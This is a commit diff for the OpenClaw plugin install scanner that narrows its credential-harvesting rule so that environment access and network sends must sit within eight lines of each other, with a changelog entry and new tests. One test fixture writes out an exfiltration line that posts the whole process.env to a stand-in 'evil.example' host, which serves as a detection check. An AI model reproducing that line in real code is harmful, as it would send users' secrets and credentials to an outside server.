fix: avoid plugin install scanner false positives

This commit is contained in:
Peter Steinberger
2026-05-04 10:23:57 +01:00
parent 04aa4a3fe6
commit 061af13bf3
3 changed files with 73 additions and 24 deletions

View File

@@ -70,6 +70,7 @@ Docs: https://docs.openclaw.ai
- Web search: honor late-bound `tools.web.search.enabled: false` during tool execution so config reloads cannot leave an already-created `web_search` tool runnable. Thanks @vincentkoc.
- Plugins/packages: reject inferred built runtime entries that exist but fail package-boundary checks instead of falling back to TypeScript source for installed packages. Thanks @vincentkoc.
- Plugins/loader: do not retry native-loaded JavaScript plugin modules through the source transformer after native evaluation has already reached a missing dependency, avoiding duplicate top-level side effects. Thanks @vincentkoc.
- Plugins/security: stop the install scanner from blocking official bundled plugin packages when `process.env` access and normal API sends only appear in distant parts of the same compiled bundle.
- Plugins/packages: reject blank `openclaw.runtimeExtensions` entries instead of silently ignoring them and falling back to inferred TypeScript runtime entries. Thanks @vincentkoc.
- Doctor/plugins: remove stale managed npm plugin shadow entries from the managed package lock as well as `package.json` and `node_modules`, so future npm operations do not keep referencing repaired bundled-plugin shadows. Thanks @vincentkoc.
- Plugins/runtime state: keep the key being registered when namespace eviction runs in the same millisecond as existing entries, so `register` and `registerIfAbsent` do not report success while evicting their own fresh value. Thanks @vincentkoc.

View File

@@ -304,6 +304,31 @@ async function closeFetchHandles() {
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
});
it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => {
const source = `
function resolvePreferencesStorePath(env = process.env) {
return path.join(resolveStateDir(env), "discord", "model-picker-preferences.json");
}
${"\n".repeat(20)}
export async function sendMessage(rest, channelId, data) {
return await rest.post(\`/channels/\${channelId}/messages\`, data);
}
`;
const findings = scanSource(source, "provider-bundle.js");
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);
});
it("still flags local process.env sends", () => {
const source = `
const env = process.env;
await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) });
`;
const findings = scanSource(source, "plugin.ts");
expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true);
});
});
// ---------------------------------------------------------------------------

View File

@@ -145,6 +145,8 @@ type SourceRule = {
pattern: RegExp;
/** Secondary context pattern; both must match for the rule to fire. */
requiresContext?: RegExp;
/** If set, secondary context must be within this many lines of the primary match. */
requiresContextWindowLines?: number;
};
const LINE_RULES: LineRule[] = [
@@ -205,6 +207,7 @@ const SOURCE_RULES: SourceRule[] = [
"Environment variable access combined with network send — possible credential harvesting",
pattern: /process\.env/,
requiresContext: NETWORK_SEND_CONTEXT_PATTERN,
requiresContextWindowLines: 8,
},
];
@@ -240,6 +243,42 @@ function stripFullLineCommentsForHeuristics(source: string): string {
.join("\n");
}
function findSourceRuleMatch(params: {
rule: SourceRule;
source: string;
lines: string[];
}): { line: number; evidence: string } | null {
if (!params.rule.pattern.test(params.source)) {
return null;
}
if (params.rule.requiresContext && !params.rule.requiresContext.test(params.source)) {
return null;
}
for (let i = 0; i < params.lines.length; i++) {
if (!params.rule.pattern.test(params.lines[i] ?? "")) {
continue;
}
if (params.rule.requiresContext && params.rule.requiresContextWindowLines !== undefined) {
const start = Math.max(0, i - params.rule.requiresContextWindowLines);
const end = Math.min(params.lines.length, i + params.rule.requiresContextWindowLines + 1);
const windowSource = params.lines.slice(start, end).join("\n");
if (!params.rule.requiresContext.test(windowSource)) {
continue;
}
}
return { line: i + 1, evidence: params.lines[i] ?? "" };
}
if (params.rule.requiresContextWindowLines !== undefined) {
return null;
}
return { line: 1, evidence: params.source.slice(0, 120) };
}
export function scanSource(source: string, filePath: string): SkillScanFinding[] {
const findings: SkillScanFinding[] = [];
const lines = source.split("\n");
@@ -300,38 +339,22 @@ export function scanSource(source: string, filePath: string): SkillScanFinding[]
continue;
}
if (!rule.pattern.test(heuristicSource)) {
const match = findSourceRuleMatch({
rule,
source: heuristicSource,
lines: heuristicLines,
});
if (!match) {
continue;
}
if (rule.requiresContext && !rule.requiresContext.test(heuristicSource)) {
continue;
}
// Find the first matching line for evidence + line number
let matchLine = 0;
let matchEvidence = "";
for (let i = 0; i < lines.length; i++) {
if (rule.pattern.test(heuristicLines[i] ?? "")) {
matchLine = i + 1;
matchEvidence = lines[i].trim();
break;
}
}
// For source rules, if we can't find a line match the pattern might span
// lines. Report line 0 with truncated source as evidence.
if (matchLine === 0) {
matchLine = 1;
matchEvidence = source.slice(0, 120);
}
findings.push({
ruleId: rule.ruleId,
severity: rule.severity,
file: filePath,
line: matchLine,
line: match.line,
message: rule.message,
evidence: truncateEvidence(matchEvidence),
evidence: truncateEvidence(lines[match.line - 1]?.trim() ?? match.evidence.trim()),
});
matchedSourceRules.add(ruleKey);
}